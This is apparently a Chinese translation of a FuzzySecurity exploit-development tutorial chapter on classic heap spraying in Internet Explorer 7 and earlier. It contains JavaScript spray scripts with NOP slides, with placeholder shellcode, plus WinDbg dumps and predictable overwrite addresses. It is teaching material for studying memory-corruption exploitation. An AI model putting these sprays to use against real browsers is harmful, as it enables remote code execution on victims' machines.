- 第一部分: Introduction to Exploit Development
- 第二部分:Saved Return Pointer Overflows
- 第三部分:Structured Exception Handler (SEH)
- 第四部分:Egg Hunters
- 第五部分:Unicode 0x00410041
- 第六部分:WIN32 shellcode 编写
- 第七部分:返回导向编程(ROP)
- 第八部分:堆喷射第一节【覆写 EIP】
- 第九部分:堆喷射[第二章:UAF]
- 第十部分:内核利用程序之栈溢出
- 第十一部分:内核利用程序之任意位置任意写
- 第十二部分:内核利用程序之空指针引用
- 第十三部分:内核利用程序之未初始化栈变量
- 第十四部分:内核利用程序之整数溢出
- 第十五部分:内核利用程序之 UAF
- 第十六部分:内核利用程序之池溢出
- 第十七部分:内核利用程序之任意位置任意写
- 第十八篇:内核利用程序之 RS2 Bitmap 巫术
- 第十九篇:内核利用程序之 Razer
喷射 shellcode 块
之前提到,堆喷射是一种 payload 传递技术,它充分利用了 javascript 的特性. 先让我们在堆上分配一些简单字符串。
<html> <body> <script language='javascript'> var myvar = unescape( '%u7546%u7a7a%u5379'+ // ASCII '%u6365%u7275%u7469'+ // FuzzySecurity '%u9079'); // alert("allocation done"); </script> </body> </html>
下图可以看到我们成功在堆上分配 ASCII 字符串. 记得用 unescape 否则我们的字符串将会是 UNICODE.
s -a 0x00000000 L?7fffffff "FuzzySecurity" d 032e3fdc
目前为止还不错,但记住我们的目标是在堆上连续的分配 NOP+Shellcode 块. 稍微改变一下 JS 脚本如下:
<html> <body> <script language='javascript'> size = 0x3E8; // 1000-bytes NopSlide = ''; // Initially set to be empty var Shellcode = unescape( '%u7546%u7a7a%u5379'+ // ASCII '%u6365%u7275%u7469'+ // FuzzySecurity '%u9079'); // // Keep filling with nops till we reach 1000-bytes for (c = 0; c < size; c++){ NopSlide += unescape('%u9090%u9090');} // Subtract size of shelccode NopSlide = NopSlide.substring(0,size - Shellcode.length); // Spray our payload 50 times var memory = new Array(); for (i = 0; i < 50; i++){ memory[i] = NopSlide + Shellcode;} alert("allocation done"); </script> </body> </html>
本质上来讲我们正在创建一个 1000 字节 payload 块,重复 51 次. 下面是块的结构:
"\x90"*(1000-len(shellcode)) + shellcode
是时候用 Windbg 观察分配的情况了. 下面是 51 个 ASCII 字符串分配结果. 如果跟踪字符串的分配你会注意到开始的时候分配存在空隙,但是到后面的话基本上就是连续的。
0:013> s -a 0x00000000 L?7fffffff "FuzzySecurity" 02a4b03e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 02a4b846 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... [...Snip...] 0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 0312f0fe 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... Looking at 02a4c04e we can see the alignment is not perfect as there are allot of junk bytes between blocks: 0:013> d 02a4c04e 02a4c04e 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 02a4c05e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 02a4c06e 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 02a4c07e 00 00 00 00 00 00 00 00-00 00 59 c0 48 e8 00 01 ..........Y.H... 02a4c08e 28 ff d0 07 00 00 90 90-90 90 90 90 90 90 90 90 (............... 02a4c09e 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 02a4c0ae 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 02a4c0be 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ However if we start from the last block and look back in steps of 1000-bytes we can see the allocations look pretty good! 0:013> d 03130106-20 031300e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 031300f6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130106 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03130116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 03130156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:013> d 03130106-20-1000 0312f0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f0f6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec 0312f106 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity........... 0312f116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312f156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:013> d 03130106-20-2000 0312e0e6 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e0f6 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 0312e106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312e156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:013> d 03130106-20-3000 0312d0e6 90 90 90 90 90 90 90 90-46 75 7a 7a 79 53 65 63 ........FuzzySec 0312d0f6 75 72 69 74 79 90 00 00-90 90 90 90 90 90 90 90 urity........... 0312d106 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d116 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d126 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d136 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d146 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0312d156 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
很好,不可否认的是我们很幸运得到连续的分配. 接下来需要做什么呢。
(1) 分配更多的数据填充更多的堆空间(覆写更高的内存地址)
(2) 改变块大小以适应 BSTR 对象,是分配更稳定和连续
下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有 IE7 以下的版本测试结果一致。
<html> <body> <script language='javascript'> var Shellcode = unescape( '%u7546%u7a7a%u5379'+ // ASCII '%u6365%u7275%u7469'+ // FuzzySecurity '%u9079'); // var NopSlide = unescape('%u9090%u9090'); var headersize = 20; var slack = headersize + Shellcode.length; while (NopSlide.length < slack) NopSlide += NopSlide; var filler = NopSlide.substring(0,slack); var chunk = NopSlide.substring(0,NopSlide.length - slack); while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler; var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode } alert("allocation done"); </script> </body> </html>
这个脚本喷射更大的内存块 0x4000(=262144 字节=0.25mb), 重复喷喷射 500 次(=125mb). 考虑到我们的 shellcode 不太会大于 1000 字节,这意味着我们有 99.997%的概率命中 NOP’s. 这样使得堆喷射更稳定. 让我们在 Windbg 观察堆喷射:
0:014> s -a 0x00000000 L?7fffffff "FuzzySecurity" 02a34010 46 75 7a 7a 79 53 65 63-75 72 69 74 79 0d 0a 20 FuzzySecurity.. 030ca75c 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03b4ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03c6ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03cfffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03d8ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03e1ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03eaffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 03f3ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... [...Snip...] 1521ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 152affee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1533ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 153cffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1545ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 154effee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity... 1557ffee 46 75 7a 7a 79 53 65 63-75 72 69 74 79 90 00 00 FuzzySecurity...
!peb 看看默认的进程堆是哪个 (我们分配的字符串将会保存在默认进程堆).
另外你可以执行"!heap -stat" 看看已经提交的字节数
0:014> !peb PEB at 7ffd8000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 00400000 Ldr 00251e90 Ldr.Initialized: Yes Ldr.InInitializationOrderModuleList: 00251f28 . 002557d8 Ldr.InLoadOrderModuleList: 00251ec0 . 00255918 Ldr.InMemoryOrderModuleList: 00251ec8 . 00255920 Base TimeStamp Module 400000 46c108d9 Aug 14 09:43:53 2007 C:\Program Files\Utilu IE Collection\IE700\iexplore.exe 7c900000 4d00f29d Dec 09 23:15:41 2010 C:\WINDOWS\system32\ntdll.dll 7c800000 49c4f2bb Mar 21 21:59:23 2009 C:\WINDOWS\system32\kernel32.dll 77dd0000 49900be3 Feb 09 18:56:35 2009 C:\WINDOWS\system32\ADVAPI32.dll 77e70000 4c68fa30 Aug 16 16:43:28 2010 C:\WINDOWS\system32\RPCRT4.dll [...Snip...] 767f0000 4c2b375b Jun 30 20:23:55 2010 C:\WINDOWS\system32\schannel.dll 77c70000 4aaa5b06 Sep 11 22:13:26 2009 C:\WINDOWS\system32\msv1_0.dll 76790000 4802a0d9 Apr 14 08:10:01 2008 C:\WINDOWS\system32\cryptdll.dll 76d60000 4802a0d0 Apr 14 08:09:52 2008 C:\WINDOWS\system32\iphlpapi.dll SubSystemData: 00000000 ProcessHeap: 00150000 ProcessParameters: 00020000 CurrentDirectory: 'C:\Documents and Settings\Administrator\Desktop\' WindowTitle: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe' ImageFile: 'C:\Program Files\Utilu IE Collection\IE700\iexplore.exe' CommandLine: 'about:home' [...Snip...]
让我们打印堆分配数据. 我们可以看到
98.63% 堆块正在使用
0:014> !heap -stat -h 00150000 heap @ 00150000 group-by: TOTSIZE max-display: 20 size #blocks total ( %) (percent of total busy bytes) 7ffe0 1f4 - f9fc180 (98.63) 3fff8 3 - bffe8 (0.30) 1fff8 4 - 7ffe0 (0.20) 7ffd0 1 - 7ffd0 (0.20) 7ff8 b - 57fa8 (0.14) fff8 5 - 4ffd8 (0.12) 1ff8 21 - 41ef8 (0.10) 3ff8 d - 33f98 (0.08) ff8 f - ef88 (0.02) 7f8 18 - bf40 (0.02) 8fc1 1 - 8fc1 (0.01) 7fe0 1 - 7fe0 (0.01) 7fd0 1 - 7fd0 (0.01) 7db4 1 - 7db4 (0.01) 614 14 - 7990 (0.01) 57e0 1 - 57e0 (0.01) 20 208 - 4100 (0.01) 5e4 b - 40cc (0.01) 4e4 c - 3ab0 (0.01) 3980 1 - 3980 (0.01) 我们列出大小为 0x7ffe0 的块 0:014> !heap -flt s 7ffe0 _HEAP @ 150000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 03ad0018 fffc 0000 [0b] 03ad0020 7ffe0 - (busy VirtualAlloc) 03bf0018 fffc fffc [0b] 03bf0020 7ffe0 - (busy VirtualAlloc) 03c80018 fffc fffc [0b] 03c80020 7ffe0 - (busy VirtualAlloc) 03d10018 fffc fffc [0b] 03d10020 7ffe0 - (busy VirtualAlloc) 03da0018 fffc fffc [0b] 03da0020 7ffe0 - (busy VirtualAlloc) 03e30018 fffc fffc [0b] 03e30020 7ffe0 - (busy VirtualAlloc) 03ec0018 fffc fffc [0b] 03ec0020 7ffe0 - (busy VirtualAlloc) 03f50018 fffc fffc [0b] 03f50020 7ffe0 - (busy VirtualAlloc) [...Snip...] 15110018 fffc fffc [0b] 15110020 7ffe0 - (busy VirtualAlloc) 151a0018 fffc fffc [0b] 151a0020 7ffe0 - (busy VirtualAlloc) 15230018 fffc fffc [0b] 15230020 7ffe0 - (busy VirtualAlloc) 152c0018 fffc fffc [0b] 152c0020 7ffe0 - (busy VirtualAlloc) 15350018 fffc fffc [0b] 15350020 7ffe0 - (busy VirtualAlloc) 153e0018 fffc fffc [0b] 153e0020 7ffe0 - (busy VirtualAlloc) 15470018 fffc fffc [0b] 15470020 7ffe0 - (busy VirtualAlloc) 15500018 fffc fffc [0b] 15500020 7ffe0 - (busy VirtualAlloc)
现在你可能会问告诉你自己:”这很酷,但是有什么意义呢?”. 一般上如果我们有写任意 4 字节漏洞. 为了可靠,我们从来不会用 shellcode 地址直接覆写指针(例如 EIP). 在堆喷射中我们可以决定堆布局. 我们可以在堆中布置 NOP’s+shellcode 块. 由于某个可预测的地址会指向 NOP’s, 所以我们可以用这个地址去覆写,一旦程序能执行 到 NOP’s, shellcode 也会得到执行. 下面是通常我们使用的可预测地址,在调试器看看这些地址的内容。
可预测的地址:
- 0x05050505 - 0x06060606 - 0x07070707 - ....
另外一个具有特殊意义的地址是 0x0c0c0c0c, 第二部分将会解释。
0:014> d 04040404 04040404 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040414 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040424 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040434 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040444 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040454 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040464 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 04040474 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:014> d 05050505 05050505 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050515 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050525 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050535 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050545 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050555 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050565 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 05050575 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 0:014> d 06060606 06060606 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060616 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060626 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060636 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060646 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060656 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060666 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................ 06060676 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
再次重申第一部分只讲典型的堆喷射,精确喷射会在第二部分将. 为什么需要精确喷射?
(1) 我们需要处理 DEP
(2) 我们正在利用 UAF 类漏洞
所有的准备工作完成,是时候弹 shell 了。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论